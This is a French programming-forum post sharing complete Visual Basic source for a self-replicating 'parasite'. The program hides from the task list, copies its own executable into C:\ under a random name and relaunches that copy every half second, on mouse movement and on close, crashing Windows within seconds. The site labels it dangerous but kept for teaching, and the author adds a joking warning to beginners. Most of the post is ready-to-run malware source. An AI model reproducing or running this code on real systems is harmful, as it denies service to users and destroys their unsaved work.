Terrible parasite

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

Ce code,oui,si on peut appeller ca un code permet de voir le fonctionnement ,euuhhh
bah tiens : d'un "virus",pffffffff !
r'garder comment ca marche c'est a la fois:bete et amusant!
Ca fais planté un ZwiNd'o en moins de 10 seconde,je vous conseil,cher débutant,
de ne pas utilisé le fonctionnement du code pour une action malveillante!(hum...surtous en vb,c'est mortel).
Vous pouvez tous de meme,tirer quelque notion sur les fonctions simples.
Mettez le tous dans une form,et ajouter bien sur, un TIMER ,ca va de soi!
Bonne prog.
<-P-h-i-L-o-K-o-F->

Source / Exemple : 


'The PaRaSiTe by PhiLoKoF.

'nous oblige a déclarer correctement nos variables.
Option Explicit

'Ici,c'est la variable qui va définir le nom de notre parasite.
Dim NomParasite As String

Private Sub Form_Load()

'Gestions des erreurs
On Error Resume Next

'Déclarations des putains variables !!! :-)
'ohhh,comme c'est VulGAIRE ! pas bien CA!
Dim Longeur, Nombre, Lettre, Majuscule As Integer

'Ceci,c'est pour qu'il soit trés discret,hum!.--->"DISCRET",pffff!!!
App.TaskVisible = False

'Ceci est pour initialiser les nombres aléatoires.
Randomize

'Définit la longueur du nom du virus ,entre 4 et 8 lettres pour ici.
Longeur = Int((4 * Rnd) + 4)

'Ceci va décider au hasard si le nom du parasite sera en majuscule(2) ou en minuscule(1).
Majuscule = Int((2 * Rnd) + 1)

'Cette boucle,va creer le nom du "virus".
'Pour plus de description faite marcher votre ciboulot,je vous prie.
'c'est trés simple!
'"step 1",sert a ce que la variable "Nombre" soit incrémenté de 1. Logique! ;-)
For Nombre = 1 To Longeur Step 1

'j'ai étais trés surpris de voir que l'alphA betA
'comportait 26 lettres,mais c'est extraordinaire ca! :-)
Lettre = Int((26 * Rnd) + 65)

'A votre avis! a quoi sert "chr"!!
'msgbox chr(lettre)
NomParasite = Chr(Lettre) & NomParasite

'revient a la boucle,tant que nombre<longueur
Next

'La fonction "Lcase" met en minuscule la variable "NomParasite",c'est magique!
If Majuscule = 1 Then NomParasite = LCase(NomParasite)

'cette fonction,recherche le chemin d'accés de l'application
'ensuite il se copie betement dans "c:\" avec le nom du parasite
'c'est trés classique de voir ca en VB,pour les soi-disant Virus ou troyens!:-)
Call FileCopy(App.Path & "\" & App.EXEName & ".exe", "c:\" & NomParasite & ".exe")

'active un timer,qui servira a lancer le programme.
Timer1.Enabled = True
Timer1.Interval = 500

End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

On Error Resume Next
'si la souris bouge sur la form,alors il executera le pitoyable programme !
Shell "c:\" & NomParasite & ".exe", vbMaximizedFocus

End Sub

Private Sub Form_Unload(Cancel As Integer)

On Error Resume Next
'si vous tentez de quitter l'application "proprement" alors il execute,
'le programme qui a était crée lors du chargement de la form.
Shell "c:\" & NomParasite & ".exe", vbMaximizedFocus

End Sub

Private Sub Timer1_Timer()

On Error Resume Next
'Execute le programme a interval régulier definie en haut:"timer.interval=500".
Shell "c:\" & NomParasite & ".exe", vbMaximizedFocus

End Sub

'C o n c l u s i o n:
'Pour ce genre de programme Visual basic ne vaut pas grand chose
'Si j'ose le dire...
'Le programme fait tous planté, a la façon "CrAsh",pas trés discret
'tous de meme! hum...
'Ce programme ne sert strictement a rien,pour construire quelque chose
'de valable! Mais un débutant peut en apprendre d'avantage sur des
'fonctions trés simple...

'                    /! !\
'                      o
'                     \~/
 
' ---eMMaRGoRP TiuRTSNoC Ne TGNiV eTuNiM !---

Conclusion :


Laissez moi vos commentaires,vos blagues,vos discours,etc...
S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.